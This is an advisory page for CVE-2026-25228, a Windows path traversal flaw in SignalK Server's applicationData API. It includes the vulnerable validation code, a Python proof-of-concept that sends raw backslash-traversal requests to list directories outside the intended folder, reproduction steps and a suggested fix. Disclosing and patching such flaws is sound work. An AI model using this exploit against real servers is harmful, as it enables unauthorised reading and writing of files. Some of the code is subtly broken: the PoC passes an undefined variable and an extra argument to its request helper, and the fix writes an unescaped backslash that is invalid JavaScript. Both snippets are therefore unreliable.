CVE-2026-25228
MEDIUM5.0EPSS 0.02%SignalK Server has Path Traversal leading to information disclosure
描述
### Summary A Path Traversal vulnerability in SignalK Server's `applicationData` API allows authenticated users on Windows systems to read, write, and list arbitrary files and directories on the filesystem. The `validateAppId()` function blocks forward slashes (`/`) but not backslashes (`\`), which are treated as directory separators by `path.join()` on Windows. This enables attackers to escape the intended `applicationData` directory. ### Details **Platform**: Windows (Linux only allows traversal up a single directory) **Authentication Required**: Yes (ability to write depends on user's permission) The vulnerability exists in the `validateAppId()` function within the applicationData API handler. This function validates the `appid` parameter but only checks for forward slashes: ```javascript // Simplified vulnerable code pattern function validateAppId(appid) { if (appid.includes('/') || appid.length >= 30) { return false; } return true; } // Later used in path construction const dataPath = path.join(configPath, 'applicationData', 'users', deviceId, appid); ``` **Root Cause:** - The validation only blocks `/` characters - On Windows, `path.join()` uses the platform's native path separator - Windows treats both `/` and `\` as valid directory separators - Backslash-based traversal sequences like `..\..\..` pass validation - When `path.join()` processes these on Windows, each `..` traverses up one directory level ### PoC ```python #!/usr/bin/env python3 import argparse import http.client import json import sys from urllib.parse import urlparse PREFIX = "/signalk/v1/applicationData" def raw_get(base, path, token): """ GET using http.client so that '..' and backslashes in the URL are sent literally (requests/urllib would normalise them away). """ parsed = urlparse(base) host, port = parsed.hostname, parsed.port or 80 conn = http.client.HTTPConnection(host, port) conn.request("GET", path, headers={"Authorization": f"Bearer {token}"}) resp = conn.getresponse() status = resp.status body = resp.read().decode("utf-8", errors="replace") conn.close() return status, body def main(): ap = argparse.ArgumentParser(description="Signal K Windows path traversal PoC") ap.add_argument("--target", required=True, help="e.g. http://192.168.1.100:3000") ap.add_argument("--token", required=True, help="any valid JWT token") args = ap.parse_args() base = args.target.rstrip("/") # On Windows, path.join(configPath, "applicationData", "users", id, appid) # resolves each '..' upward when separated by backslashes. # # Depth from base (configPath/applicationData/users/): # .. → applicationData/users/ (1 level) # ..\.. → applicationData/ (2 levels) # ..\..\.. → configPath (.signalk) (3 levels) # ..\..\..\.. → user home directory (4 levels) traversals = [ ("..\\..\\..\\", ".signalk config directory"), ("..\\..\\..\\..\\", "user home directory"), ] for appid, description in traversals: path = f"{PREFIX}/user/{appid}" status, body = raw_get(base, path, token, args.token) print(f"[{status}] {description}") print(f" GET {path}") if status == 200: try: entries = json.loads(body) for entry in entries: print(f" {entry}") except json.JSONDecodeError: print(f" {body[:200]}") else: print(f" {body[:200]}") print() if __name__ == "__main__": main() ``` **Reproduction Steps:** 1. Set up SignalK Server on a Windows machine 2. Obtain a valid device or user authentication token 3. Run the PoC script: ```bash python3 poc_windows_appid_traversal.py --target http://[signalK server IP]:3000 --token <YOUR_TOKEN> ``` ### Recommended Fix **Short-term:** 1. Add backslash validation to `validateAppId()`: ```javascript function validateAppId(appid) { if (appid.includes('/') || appid.includes('\') || appid.length >= 30) { return false; } return true; } ``` 2. Use `path.normalize()` and validate that resolved paths remain within the intended directory: ```javascript const resolvedPath = path.normalize(path.join(baseDir, appid)); if (!resolvedPath.startsWith(path.normalize(baseDir))) { throw new Error('Invalid path'); } ```
受影響套件(1)
- npm/signalk-serverfrom 0, < 2.20.3
CVSS 分數
| 來源 | 版本 | 嚴重程度 | 向量 |
|---|---|---|---|
| osv | CVSS 3.1 | MEDIUM5.0 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N |